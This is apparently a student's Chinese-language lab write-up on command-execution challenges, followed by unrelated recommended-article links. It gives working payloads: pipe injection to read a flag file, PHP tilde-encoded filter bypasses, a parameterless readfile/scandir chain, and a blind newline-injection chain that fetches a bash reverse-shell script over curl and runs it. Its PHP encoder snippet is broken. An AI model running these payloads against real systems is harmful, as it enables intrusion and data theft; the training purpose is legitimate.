班级作业笔记报告0x04

命令执行漏洞

作业1:

命令执行与代码执行字符过滤绕过

十分经典的题

使用单或双管道符绕过即可|或者||

获取flag

payload:127.0.0.1 | cat /flag.txt

作业2:

长度绕过

文件权限环境有问题,在靶机上使用下方命令即可正常打靶了

chmod 777 index.php /flag.txt

使用GET传参,参数名为code,长度不能超过35,正则过滤字母、数字、下划线和美元符

利用php的URL编码取反转化成二进制的URL编码的乱码传入

字符转编码代码:

<?php

//str1参数为要编码的字符串,phpinfo字符串只是一个示例,根据PHP版本使用不同的构造方式

$str1="phpinfo";

str2="\~".urlencode(str);

echo $str2;

?>

执行尝试执行命令,system(ls /);,需要对system和ls /进行编码,编码后为%93%8C%DF%D0

获取flag

system ==>%8C%86%8C%8B%9A%92

cat /f* ==>%9C%9E%8B%DF%D0%99%D5

组合一下system(cat /*); ==>(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);

作业3:

无参数绕过

靶机和攻击机不在同一网段内,攻击机无法展开攻击,只能在防守机上展开攻击

GET请求参数code,递归匹配函数()的结构,函数()结构替换为空,括号内参数和外部的分号;合并成一体,继续下一个if,正则匹配不区分大小写匹配test字符串,只要不包含test字符串就可以执行eval函数

尝试请求phpinfo();函数,请求成功

这个步骤出flag,因为是GET传参,有些参数要进行URL编码

curl http://127.0.0.1/index.php?code=readfile(end(scandir(pos(localeconv()))))

#正则匹配test字符串严格,只能另寻他路,目录扫描,扫描出robots.txt文件

curl http://127.0.0.1/robots.txt

#传入在index.php看到的代码,test传参输入正确值获取flag

curl http://127.0.0.1/zflag.php?test=@@@####!!!!

作业4:

无回显绕过

访问,有PingIP的功能,过滤了很多字符

"$", "{", "}", "\`", ";", "\&", "\|", "(", ")", "\\"", "'", "\~", "!", "@", "#", "%", "\^", "\*", "\[", "", "\\", ":", "-", "_"];

最终%0a可以使用

%0awhoami可以执行,但是重定向无法到达/var/www/html目录下,只能/tmp目录下执行成功

由于无VPS,所以拿百度大哥当VPS,也成功了,说明可以下载文件到/tmp目录下

由于无VPS所以只能纸上谈兵,无回显就这样打了

#反弹shell脚本,在VPS下写入一下内容,命名为1.sh

bash -i >& /dev/tcp/172.17.0.3/4444 0>&1

#下载重定向到/tmp/1.sh文件中

127.0.0.1%0acurl VPS_IP/1.sh > /tmp/1.sh

#赋予执行能力

127.0.0.1%0achmod 777 /tmp/1.sh

#本地开启监听

nc -l 4444

#靶机执行反弹shell脚本命令

127.0.0.1%0ash /tmp/1.sh

#本机任意执行命令

id

whoami

ls /

cat /f*

个人评价:

RCE一个很有意思的漏洞,非常的珍贵,黑客的最爱,打点玩家心中的希望。这几题都很有难度,而且靶场的环境有经常出问题。无回显RCE绕过这个类型,也经常在面试上会被问到,也是一个很重要的环境实操。

相关推荐
小弥儿13 分钟前
开源 VoiceStudio,声音克隆|配音|有声书一站式本地完成
学习·开源·github
点心的游戏开发世界3 小时前
Unity C# 脚本学习笔记:命名空间与 using
学习·unity·c#
旭华智能sunvua3 小时前
城市智慧排水安全监测综合解决方案
安全
名字还没想好☜4 小时前
Docker 容器安全加固实战:非 root、只读根文件系统、drop capabilities 与最小攻击面
运维·安全·docker·容器·kubernetes
香芋芋圆4 小时前
AI 冲击内卷之下,普通前端如何破局?WebGIS—— 低门槛突围赛道
前端·javascript·人工智能·学习·职场发展
INS_KF5 小时前
【编程笔记】成员函数中两个 const 的区别(const Data &getData() const;)
前端·javascript·笔记
点心的游戏开发世界5 小时前
Unity C# 脚本学习笔记:泛型
学习·unity·c#
华普微HOPERF6 小时前
数字隔离器,光伏微型逆变系统中的安全核“芯”
安全
DM今天肝到几点?6 小时前
AI 安全进入「攻防同频」:Gemini 3.8 Flash Cyber 上线、Astra 触及关键级、HiddenLayer 融资 1 亿美元
网络·人工智能·深度学习·安全·语言模型·开源·知识图谱
tju新生代魔迷6 小时前
Verilog HDL 学习笔记(十三)| 第13章 编程语言接口(PLI)
笔记·学习